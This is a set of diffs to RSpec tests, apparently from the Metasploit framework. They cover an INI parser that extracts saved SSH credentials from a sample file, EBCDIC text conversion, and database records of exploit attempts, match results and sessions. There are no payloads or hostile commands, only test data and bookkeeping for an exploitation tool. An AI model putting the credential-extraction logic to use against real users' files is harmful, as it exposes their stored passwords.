expect { target.parse_ini(INI_SECURITY) }.to raise_error(RuntimeError, /Master/i)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "parses the example ini" do
|
||||||
|
r = target.parse_ini(SAMPLE_INI).first
|
||||||
|
expect(r[:hostname]).to eq(HOST)
|
||||||
|
expect(r[:password]).to eq('sdfsdfgsggg')
|
||||||
|
expect(r[:username]).to eq(USERNAME)
|
||||||
|
expect(r[:protocol]).to eq('SSH')
|
||||||
|
expect(r[:portnumber]).to eq(22)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context "#read_and_parse_ini" do
|
||||||
|
it "returns nil if file is empty or doesn't exist" do
|
||||||
|
File.stub(:read).and_return(nil)
|
||||||
|
expect(target.read_and_parse_ini('blah')).to be nil
|
||||||
|
end
|
||||||
|
|
||||||
|
it "parses the example ini and return a single result" do
|
||||||
|
File.stub(:read).and_return(SAMPLE_INI)
|
||||||
|
expect(target.read_and_parse_ini(SAMPLE_INI).count).to eq 1
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
|
@ -22,6 +22,20 @@ describe Rex::Text do
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
context ".to_ibm1047" do
|
||||||
|
it "should convert ASCII to mainfram EBCDIC (cp1047)" do
|
||||||
|
described_class.to_ibm1047(%q[^[](){}%!$#1234567890abcde'"`~]).should
|
||||||
|
eq("_\xAD\xBDM]\xC0\xD0lZ[{\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xF0\x81\x82\x83\x84\x85}\x7Fy\xA1")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context ".from_1047" do
|
||||||
|
it "should convert mainframe EBCDIC (cp1047) to ASCII (ISO-8859-1)" do
|
||||||
|
described_class.from_ibm1047(%q[^[](){}%!$#1234567890abcde'"`~]).should
|
||||||
|
eq(";$)\x88\x89#'\x85\x81\x84\x83\x91\x16\x93\x94\x95\x96\x04\x98\x99\x90/\xC2\xC4\xC0\xC1\e\x82-=")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
context ".to_utf8" do
|
context ".to_utf8" do
|
||||||
it "should convert a string to UTF-8, skipping badchars" do
|
it "should convert a string to UTF-8, skipping badchars" do
|
||||||
described_class.to_utf8("Hello, world!").should eq("Hello, world!")
|
described_class.to_utf8("Hello, world!").should eq("Hello, world!")
|
||||||
|
|
|
@ -4,51 +4,437 @@ shared_examples_for 'Msf::DBManager::ExploitAttempt' do
|
||||||
it { is_expected.to respond_to :report_exploit_failure }
|
it { is_expected.to respond_to :report_exploit_failure }
|
||||||
it { is_expected.to respond_to :report_exploit_success }
|
it { is_expected.to respond_to :report_exploit_success }
|
||||||
|
|
||||||
describe '#report_exploit_success' do
|
describe '#report_exploit_failure' do
|
||||||
subject(:report_exploit_success) do
|
subject(:report_exploit_failure) do
|
||||||
db_manager.report_exploit_success(opts)
|
db_manager.report_exploit_failure(opts)
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:run) do
|
||||||
|
match
|
||||||
|
FactoryGirl.create(:automatic_exploitation_run, user: workspace.owner,workspace:workspace, match_set_id: match_set.id)
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:match_set) do
|
||||||
|
FactoryGirl.create(:automatic_exploitation_match_set, user: workspace.owner,workspace:workspace)
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:match) do
|
||||||
|
FactoryGirl.create(:automatic_exploitation_match,
|
||||||
|
match_set_id: match_set.id,
|
||||||
|
matchable_id:vuln_with_match.id,
|
||||||
|
matchable_type: "Mdm::Vuln"
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:vuln_with_match) do
|
||||||
|
FactoryGirl.create(:mdm_vuln)
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:host) do
|
||||||
|
FactoryGirl.create(:mdm_host, workspace:workspace)
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:workspace) do
|
let(:workspace) do
|
||||||
FactoryGirl.create(:mdm_workspace)
|
FactoryGirl.create(:mdm_workspace)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
let(:refs) do
|
||||||
|
[ FactoryGirl.create(:mdm_ref) ]
|
||||||
|
end
|
||||||
|
|
||||||
|
context "with a run" do
|
||||||
|
let(:opts) do
|
||||||
|
{
|
||||||
|
workspace: workspace,
|
||||||
|
refs: refs,
|
||||||
|
host: host,
|
||||||
|
vuln: vuln_with_match,
|
||||||
|
run_id: run.id
|
||||||
|
}
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'with a vuln' do
|
||||||
|
specify do
|
||||||
|
expect {
|
||||||
|
report_exploit_failure
|
||||||
|
}.to change(Mdm::VulnAttempt,:count).by(1)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should create a match result" do
|
||||||
|
expect {
|
||||||
|
report_exploit_failure
|
||||||
|
}.to change(MetasploitDataModels::AutomaticExploitation::MatchResult,:count).by(1)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should create a match result with state FAILED" do
|
||||||
|
report_exploit_failure
|
||||||
|
|
||||||
|
expect(
|
||||||
|
MetasploitDataModels::AutomaticExploitation::MatchResult.where(
|
||||||
|
match_id: match.id,
|
||||||
|
state: MetasploitDataModels::AutomaticExploitation::MatchResult::FAILED
|
||||||
|
)
|
||||||
|
).to exist
|
||||||
|
end
|
||||||
|
|
||||||
|
context "calling report_exploit_success" do
|
||||||
|
after(:each) do
|
||||||
|
report_exploit_failure
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should call create_match_result_for_vuln" do
|
||||||
|
db_manager.should_receive(:create_match_result_for_vuln)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should call create_match_result" do
|
||||||
|
db_manager.should_receive(:create_match_result)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should not call create_match_for_vuln" do
|
||||||
|
db_manager.should_not_receive(:create_match_for_vuln)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'without a vuln' do
|
||||||
|
let(:vuln_with_match) { nil }
|
||||||
|
|
||||||
|
let(:match) {nil}
|
||||||
|
|
||||||
|
specify do
|
||||||
|
expect {
|
||||||
|
report_exploit_failure
|
||||||
|
}.not_to change(Mdm::VulnAttempt, :count)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should not create a match result" do
|
||||||
|
expect {
|
||||||
|
report_exploit_failure
|
||||||
|
}.to change(MetasploitDataModels::AutomaticExploitation::MatchResult,:count).by(0)
|
||||||
|
end
|
||||||
|
|
||||||
|
context "calling report_exploit_success" do
|
||||||
|
after(:each) do
|
||||||
|
report_exploit_failure
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should not call create_match_result_for_vuln" do
|
||||||
|
db_manager.should_not_receive(:create_match_result_for_vuln)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should not call create_match_result" do
|
||||||
|
db_manager.should_not_receive(:create_match_result)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should not call create_run_for_vuln" do
|
||||||
|
db_manager.should_not_receive(:create_run_for_vuln)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context "without a run" do
|
||||||
|
let(:vuln) do
|
||||||
|
FactoryGirl.create(:mdm_vuln)
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:opts) do
|
||||||
|
{
|
||||||
|
workspace: workspace,
|
||||||
|
refs: refs,
|
||||||
|
host: host,
|
||||||
|
vuln: vuln,
|
||||||
|
}
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'with a vuln' do
|
||||||
|
specify do
|
||||||
|
expect {
|
||||||
|
report_exploit_failure
|
||||||
|
}.to change(Mdm::VulnAttempt,:count).by(1)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should not create a match result" do
|
||||||
|
expect {
|
||||||
|
report_exploit_failure
|
||||||
|
}.to change(MetasploitDataModels::AutomaticExploitation::MatchResult,:count).by(0)
|
||||||
|
end
|
||||||
|
|
||||||
|
context "calling report_exploit_success" do
|
||||||
|
after(:each) do
|
||||||
|
report_exploit_failure
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should call create_match_result_for_vuln" do
|
||||||
|
db_manager.should_receive(:create_match_result_for_vuln)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should not call create_match_result" do
|
||||||
|
db_manager.should_not_receive(:create_match_result)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should not call create_match_for_vuln" do
|
||||||
|
db_manager.should_not_receive(:create_match_for_vuln)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'without a vuln' do
|
||||||
|
let(:vuln) { nil }
|
||||||
|
|
||||||
|
specify do
|
||||||
|
expect {
|
||||||
|
report_exploit_failure
|
||||||
|
}.not_to change(Mdm::VulnAttempt, :count)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should not create a match result" do
|
||||||
|
expect {
|
||||||
|
report_exploit_failure
|
||||||
|
}.to change(MetasploitDataModels::AutomaticExploitation::MatchResult,:count).by(0)
|
||||||
|
end
|
||||||
|
|
||||||
|
context "calling report_exploit_success" do
|
||||||
|
after(:each) do
|
||||||
|
report_exploit_failure
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should not call create_match_result_for_vuln" do
|
||||||
|
db_manager.should_not_receive(:create_match_result_for_vuln)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should not call create_match_result" do
|
||||||
|
db_manager.should_not_receive(:create_match_result)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should not call create_run_for_vuln" do
|
||||||
|
db_manager.should_not_receive(:create_match_for_vuln)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
describe '#report_exploit_success' do
|
||||||
|
subject(:report_exploit_success) do
|
||||||
|
db_manager.report_exploit_success(opts)
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:session_id) do
|
||||||
|
FactoryGirl.create(:session, host: host).id
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:run) do
|
||||||
|
match
|
||||||
|
FactoryGirl.create(:automatic_exploitation_run, user: workspace.owner,workspace:workspace, match_set_id: match_set.id)
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:match_set) do
|
||||||
|
FactoryGirl.create(:automatic_exploitation_match_set, user: workspace.owner,workspace:workspace)
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:match) do
|
||||||
|
FactoryGirl.create(:automatic_exploitation_match,
|
||||||
|
match_set_id: match_set.id,
|
||||||
|
matchable_id:vuln_with_match.id,
|
||||||
|
matchable_type: "Mdm::Vuln"
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:vuln_with_match) do
|
||||||
|
FactoryGirl.create(:mdm_vuln)
|
||||||
|
end
|
||||||
|
|
||||||
let(:host) do
|
let(:host) do
|
||||||
FactoryGirl.create(:mdm_host, workspace: workspace)
|
FactoryGirl.create(:mdm_host, workspace:workspace)
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:workspace) do
|
||||||
|
FactoryGirl.create(:mdm_workspace)
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:refs) do
|
let(:refs) do
|
||||||
[ FactoryGirl.create(:mdm_ref) ]
|
[ FactoryGirl.create(:mdm_ref) ]
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:vuln) do
|
context "with a run" do
|
||||||
FactoryGirl.create(:mdm_vuln)
|
let(:opts) do
|
||||||
end
|
{
|
||||||
|
workspace: workspace,
|
||||||
|
refs: refs,
|
||||||
|
host: host,
|
||||||
|
vuln: vuln_with_match,
|
||||||
|
run_id: run.id,
|
||||||
|
session_id: session_id
|
||||||
|
}
|
||||||
|
end
|
||||||
|
|
||||||
let(:opts) do
|
context 'with a vuln' do
|
||||||
{
|
specify do
|
||||||
workspace: workspace,
|
expect {
|
||||||
refs: refs,
|
report_exploit_success
|
||||||
host: host,
|
}.to change(Mdm::VulnAttempt,:count).by(1)
|
||||||
vuln: vuln,
|
end
|
||||||
}
|
|
||||||
end
|
|
||||||
|
|
||||||
context 'with a vuln' do
|
it "should create a match result" do
|
||||||
specify do
|
expect {
|
||||||
expect {
|
report_exploit_success
|
||||||
|
}.to change(MetasploitDataModels::AutomaticExploitation::MatchResult,:count).by(1)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should create a match result with state SUCCEEDED" do
|
||||||
report_exploit_success
|
report_exploit_success
|
||||||
}.to change(Mdm::VulnAttempt,:count).by(1)
|
expect(
|
||||||
|
MetasploitDataModels::AutomaticExploitation::MatchResult.where(
|
||||||
|
match_id: match.id,
|
||||||
|
state: MetasploitDataModels::AutomaticExploitation::MatchResult::SUCCEEDED
|
||||||
|
)
|
||||||
|
).to exist
|
||||||
|
end
|
||||||
|
|
||||||
|
context "calling report_exploit_success" do
|
||||||
|
after(:each) do
|
||||||
|
report_exploit_success
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should call create_match_result_for_vuln" do
|
||||||
|
db_manager.should_receive(:create_match_result_for_vuln)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should call create_match_result" do
|
||||||
|
db_manager.should_receive(:create_match_result)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should not call create_match_for_vuln" do
|
||||||
|
db_manager.should_not_receive(:create_match_for_vuln)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'without a run' do
|
||||||
|
let(:vuln_with_match) { nil }
|
||||||
|
|
||||||
|
let(:match) {nil}
|
||||||
|
|
||||||
|
specify do
|
||||||
|
expect {
|
||||||
|
report_exploit_success
|
||||||
|
}.not_to change(Mdm::VulnAttempt, :count)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should not create a match result" do
|
||||||
|
expect {
|
||||||
|
report_exploit_success
|
||||||
|
}.to change(MetasploitDataModels::AutomaticExploitation::MatchResult,:count).by(0)
|
||||||
|
end
|
||||||
|
|
||||||
|
context "calling report_exploit_success" do
|
||||||
|
after(:each) do
|
||||||
|
report_exploit_success
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should not call create_match_result_for_vuln" do
|
||||||
|
db_manager.should_not_receive(:create_match_result_for_vuln)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should not call create_match_result" do
|
||||||
|
db_manager.should_not_receive(:create_match_result)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should not call create_match_for_vuln" do
|
||||||
|
db_manager.should_not_receive(:create_match_for_vuln)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
context 'without a vuln' do
|
context "without a run" do
|
||||||
let(:vuln) { nil }
|
let(:vuln) do
|
||||||
|
FactoryGirl.create(:mdm_vuln)
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:opts) do
|
||||||
|
{
|
||||||
|
workspace: workspace,
|
||||||
|
refs: refs,
|
||||||
|
host: host,
|
||||||
|
vuln: vuln,
|
||||||
|
}
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'with a vuln' do
|
||||||
|
specify do
|
||||||
|
expect {
|
||||||
|
report_exploit_success
|
||||||
|
}.to change(Mdm::VulnAttempt,:count).by(1)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should not create a match result" do
|
||||||
|
expect {
|
||||||
|
report_exploit_success
|
||||||
|
}.to change(MetasploitDataModels::AutomaticExploitation::MatchResult,:count).by(0)
|
||||||
|
end
|
||||||
|
|
||||||
|
context "calling report_exploit_success" do
|
||||||
|
after(:each) do
|
||||||
|
report_exploit_success
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should call create_match_result_for_vuln" do
|
||||||
|
db_manager.should_receive(:create_match_result_for_vuln)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should not call create_match_result" do
|
||||||
|
db_manager.should_not_receive(:create_match_result)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should not call create_match_for_vuln" do
|
||||||
|
db_manager.should_not_receive(:create_match_for_vuln)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'without a vuln' do
|
||||||
|
let(:vuln) { nil }
|
||||||
|
|
||||||
|
specify do
|
||||||
|
expect {
|
||||||
|
report_exploit_success
|
||||||
|
}.not_to change(Mdm::VulnAttempt, :count)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should not create a match result" do
|
||||||
|
expect {
|
||||||
|
report_exploit_success
|
||||||
|
}.to change(MetasploitDataModels::AutomaticExploitation::MatchResult,:count).by(0)
|
||||||
|
end
|
||||||
|
|
||||||
|
context "calling report_exploit_success" do
|
||||||
|
after(:each) do
|
||||||
|
report_exploit_success
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should not call create_match_result_for_vuln" do
|
||||||
|
db_manager.should_not_receive(:create_match_result_for_vuln)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should not call create_match_result" do
|
||||||
|
db_manager.should_not_receive(:create_match_result)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should not call create_match_for_vuln" do
|
||||||
|
db_manager.should_not_receive(:create_match_for_vuln)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
specify do
|
|
||||||
expect {
|
|
||||||
report_exploit_success
|
|
||||||
}.not_to change(Mdm::VulnAttempt, :count)
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -46,7 +46,6 @@ shared_examples_for 'Msf::DBManager::Session' do
|
||||||
framework: framework,
|
framework: framework,
|
||||||
name: name
|
name: name
|
||||||
)
|
)
|
||||||
allow(d).to receive(:user_data_is_match?).and_return(false)
|
|
||||||
d
|
d
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -122,37 +121,362 @@ shared_examples_for 'Msf::DBManager::Session' do
|
||||||
)
|
)
|
||||||
end
|
end
|
||||||
|
|
||||||
context 'with a match in user_data' do
|
context 'with a run_id in user_data' do
|
||||||
let(:vuln) do
|
before(:each) do
|
||||||
FactoryGirl.create(:mdm_vuln,
|
MetasploitDataModels::AutomaticExploitation::MatchSet.any_instance.stub(:create_match_for_vuln).and_return(nil)
|
||||||
name: parent_module_name,
|
end
|
||||||
host: host)
|
|
||||||
|
let(:match_set) do
|
||||||
|
FactoryGirl.create(:automatic_exploitation_match_set, user: session_workspace.owner,workspace:session_workspace)
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:run) do
|
||||||
|
FactoryGirl.create(:automatic_exploitation_run, workspace: session_workspace, match_set_id: match_set.id)
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:user_data) do
|
let(:user_data) do
|
||||||
{
|
{
|
||||||
match: FactoryGirl.build(:automatic_exploitation_match, matchable: vuln),
|
run_id: run.id
|
||||||
match_set: FactoryGirl.build(:automatic_exploitation_match_set),
|
|
||||||
run: FactoryGirl.build(:automatic_exploitation_run, workspace: session_workspace),
|
|
||||||
}
|
}
|
||||||
end
|
end
|
||||||
|
|
||||||
before do
|
context 'with :workspace' do
|
||||||
allow(module_instance).to receive(:user_data_is_match?).and_return(true)
|
before(:each) do
|
||||||
|
options[:workspace] = options_workspace
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should not find workspace from session' do
|
||||||
|
db_manager.should_not_receive(:find_workspace)
|
||||||
|
|
||||||
|
expect { report_session }.to change(Mdm::Vuln, :count).by(1)
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should make a MatchResult' do
|
context 'without :workspace' do
|
||||||
expect {
|
it 'should find workspace from session' do
|
||||||
|
db_manager.should_receive(:find_workspace).with(session.workspace).and_call_original
|
||||||
|
|
||||||
report_session
|
report_session
|
||||||
}.to change(MetasploitDataModels::AutomaticExploitation::MatchResult, :count).by(1)
|
end
|
||||||
|
|
||||||
|
it 'should pass session.workspace to #find_or_create_host' do
|
||||||
|
db_manager.should_receive(:find_or_create_host).with(
|
||||||
|
hash_including(
|
||||||
|
:workspace => session_workspace
|
||||||
|
)
|
||||||
|
).and_return(host)
|
||||||
|
|
||||||
|
expect { report_session }.to change(Mdm::Vuln, :count).by(1)
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should not increase the host count' do
|
context 'with workspace from either :workspace or session' do
|
||||||
expect { report_session }.not_to change(Mdm::Host, :count)
|
it 'should pass normalized host from session as :host to #find_or_create_host' do
|
||||||
end
|
normalized_host = double('Normalized Host')
|
||||||
|
db_manager.stub(:normalize_host).with(session).and_return(normalized_host)
|
||||||
|
# stub report_vuln so its use of find_or_create_host and normalize_host doesn't interfere.
|
||||||
|
db_manager.stub(:report_vuln)
|
||||||
|
|
||||||
it 'should not increase the vuln count' do
|
db_manager.should_receive(:find_or_create_host).with(
|
||||||
expect { report_session }.not_to change(Mdm::Vuln, :count)
|
hash_including(
|
||||||
|
:host => normalized_host
|
||||||
|
)
|
||||||
|
).and_return(host)
|
||||||
|
|
||||||
|
report_session
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'with session responds to arch' do
|
||||||
|
let(:arch) do
|
||||||
|
FactoryGirl.generate :mdm_host_arch
|
||||||
|
end
|
||||||
|
|
||||||
|
before(:each) do
|
||||||
|
session.stub(:arch => arch)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should pass :arch to #find_or_create_host' do
|
||||||
|
db_manager.should_receive(:find_or_create_host).with(
|
||||||
|
hash_including(
|
||||||
|
:arch => arch
|
||||||
|
)
|
||||||
|
).and_call_original
|
||||||
|
|
||||||
|
expect { report_session }.to change(Mdm::Vuln, :count).by(1)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'without session responds to arch' do
|
||||||
|
it 'should not pass :arch to #find_or_create_host' do
|
||||||
|
db_manager.should_receive(:find_or_create_host).with(
|
||||||
|
hash_excluding(
|
||||||
|
:arch
|
||||||
|
)
|
||||||
|
).and_call_original
|
||||||
|
|
||||||
|
expect { report_session }.to change(Mdm::Vuln, :count).by(1)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should create an Mdm::Session' do
|
||||||
|
expect {
|
||||||
|
report_session
|
||||||
|
}.to change(Mdm::Session, :count).by(1)
|
||||||
|
end
|
||||||
|
|
||||||
|
it { should be_an Mdm::Session }
|
||||||
|
|
||||||
|
it 'should set session.db_record to created Mdm::Session' do
|
||||||
|
mdm_session = report_session
|
||||||
|
|
||||||
|
session.db_record.should == mdm_session
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'with session.via_exploit' do
|
||||||
|
|
||||||
|
it 'should create Mdm::Vuln' do
|
||||||
|
expect {
|
||||||
|
report_session
|
||||||
|
}.to change(Mdm::Vuln, :count).by(1)
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'created Mdm::Vuln' do
|
||||||
|
let(:mdm_session) do
|
||||||
|
Mdm::Session.last
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:rport) do
|
||||||
|
nil
|
||||||
|
end
|
||||||
|
|
||||||
|
before(:each) do
|
||||||
|
Timecop.freeze
|
||||||
|
|
||||||
|
session.exploit_datastore['RPORT'] = rport
|
||||||
|
|
||||||
|
report_session
|
||||||
|
end
|
||||||
|
|
||||||
|
after(:each) do
|
||||||
|
Timecop.return
|
||||||
|
end
|
||||||
|
|
||||||
|
subject(:vuln) do
|
||||||
|
Mdm::Vuln.last
|
||||||
|
end
|
||||||
|
|
||||||
|
it { expect(subject.host).to eq(Mdm::Host.last) }
|
||||||
|
it { expect(subject.refs).to eq([]) }
|
||||||
|
it { expect(subject.exploited_at).to be_within(1.second).of(Time.now.utc) }
|
||||||
|
|
||||||
|
context "with session.via_exploit 'exploit/multi/handler'" do
|
||||||
|
context "with session.exploit_datastore['ParentModule']" do
|
||||||
|
it { expect(subject.info).to eq("Exploited by #{parent_module_fullname} to create Session #{mdm_session.id}") }
|
||||||
|
it { expect(subject.name).to eq(parent_module_name) }
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context "without session.via_exploit 'exploit/multi/handler'" do
|
||||||
|
let(:reference_name) do
|
||||||
|
'windows/smb/ms08_067_netapi'
|
||||||
|
end
|
||||||
|
|
||||||
|
before(:each) do
|
||||||
|
path = File.join(
|
||||||
|
parent_path,
|
||||||
|
'exploits',
|
||||||
|
"#{reference_name}.rb"
|
||||||
|
)
|
||||||
|
type = 'exploit'
|
||||||
|
|
||||||
|
# fake cache data for ParentModule so it can be loaded
|
||||||
|
framework.modules.send(
|
||||||
|
:module_info_by_path=,
|
||||||
|
{
|
||||||
|
path =>
|
||||||
|
{
|
||||||
|
:parent_path => parent_path,
|
||||||
|
:reference_name => reference_name,
|
||||||
|
:type => type,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
session.via_exploit = "#{type}/#{reference_name}"
|
||||||
|
end
|
||||||
|
|
||||||
|
it { expect(subject.info).to eq("Exploited by #{session.via_exploit} to create Session #{mdm_session.id}") }
|
||||||
|
it { expect(subject.name).to eq(reference_name) }
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'with RPORT' do
|
||||||
|
let(:rport) do
|
||||||
|
# use service.port instead of having service use rport so
|
||||||
|
# that service is forced to exist before call to
|
||||||
|
# report_service, which happens right after using rport in
|
||||||
|
# outer context's before(:each)
|
||||||
|
service.port
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:service) do
|
||||||
|
FactoryGirl.create(
|
||||||
|
:mdm_service,
|
||||||
|
:host => host
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
it { expect(subject.service).to eq(service) }
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'without RPORT' do
|
||||||
|
it { expect(subject.service).to be_nil }
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'created Mdm::ExploitAttempt' do
|
||||||
|
let(:rport) do
|
||||||
|
nil
|
||||||
|
end
|
||||||
|
|
||||||
|
before(:each) do
|
||||||
|
Timecop.freeze
|
||||||
|
|
||||||
|
session.exploit_datastore['RPORT'] = rport
|
||||||
|
|
||||||
|
report_session
|
||||||
|
end
|
||||||
|
|
||||||
|
after(:each) do
|
||||||
|
Timecop.return
|
||||||
|
end
|
||||||
|
|
||||||
|
subject(:exploit_attempt) do
|
||||||
|
Mdm::ExploitAttempt.last
|
||||||
|
end
|
||||||
|
|
||||||
|
it { expect(subject.attempted_at).to be_within(1.second).of(Time.now.utc) }
|
||||||
|
# @todo https://www.pivotaltracker.com/story/show/48362615
|
||||||
|
it { expect(subject.session_id).to eq(Mdm::Session.last.id) }
|
||||||
|
it { expect(subject.exploited).to be_truthy }
|
||||||
|
# @todo https://www.pivotaltracker.com/story/show/48362615
|
||||||
|
it { expect(subject.vuln_id).to eq(Mdm::Vuln.last.id) }
|
||||||
|
|
||||||
|
context "with session.via_exploit 'exploit/multi/handler'" do
|
||||||
|
context "with session.datastore['ParentModule']" do
|
||||||
|
it { expect(subject.module).to eq(parent_module_fullname) }
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context "without session.via_exploit 'exploit/multi/handler'" do
|
||||||
|
before(:each) do
|
||||||
|
session.via_exploit = parent_module_fullname
|
||||||
|
end
|
||||||
|
|
||||||
|
it { expect(subject.module).to eq(session.via_exploit) }
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'returned Mdm::Session' do
|
||||||
|
before(:each) do
|
||||||
|
Timecop.freeze
|
||||||
|
end
|
||||||
|
|
||||||
|
after(:each) do
|
||||||
|
Timecop.return
|
||||||
|
end
|
||||||
|
|
||||||
|
subject(:mdm_session) do
|
||||||
|
report_session
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Ensure session has attributes present so its on mdm_session are
|
||||||
|
# not just comparing nils.
|
||||||
|
#
|
||||||
|
|
||||||
|
it 'should have session.info present' do
|
||||||
|
session.info.should be_present
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should have session.sid present' do
|
||||||
|
session.sid.should be_present
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should have session.platform present' do
|
||||||
|
session.platform.should be_present
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should have session.type present' do
|
||||||
|
session.type.should be_present
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should have session.via_exploit present' do
|
||||||
|
session.via_exploit.should be_present
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should have session.via_payload present' do
|
||||||
|
session.via_exploit.should be_present
|
||||||
|
end
|
||||||
|
|
||||||
|
it { expect(subject.datastore).to eq(session.exploit_datastore.to_h) }
|
||||||
|
it { expect(subject.desc).to eq(session.info) }
|
||||||
|
it { expect(subject.host_id).to eq(Mdm::Host.last.id) }
|
||||||
|
it { expect(subject.last_seen).to be_within(1.second).of(Time.now.utc) }
|
||||||
|
it { expect(subject.local_id).to eq(session.sid) }
|
||||||
|
it { expect(subject.opened_at).to be_within(1.second).of(Time.now.utc) }
|
||||||
|
it { expect(subject.platform).to eq(session.platform) }
|
||||||
|
it { expect(subject.routes).to eq([]) }
|
||||||
|
it { expect(subject.stype).to eq(session.type) }
|
||||||
|
it { expect(subject.via_payload).to eq(session.via_payload) }
|
||||||
|
|
||||||
|
context "with session.via_exploit 'exploit/multi/handler'" do
|
||||||
|
it "should have session.via_exploit of 'exploit/multi/handler'" do
|
||||||
|
session.via_exploit.should == 'exploit/multi/handler'
|
||||||
|
end
|
||||||
|
|
||||||
|
context "with session.exploit_datastore['ParentModule']" do
|
||||||
|
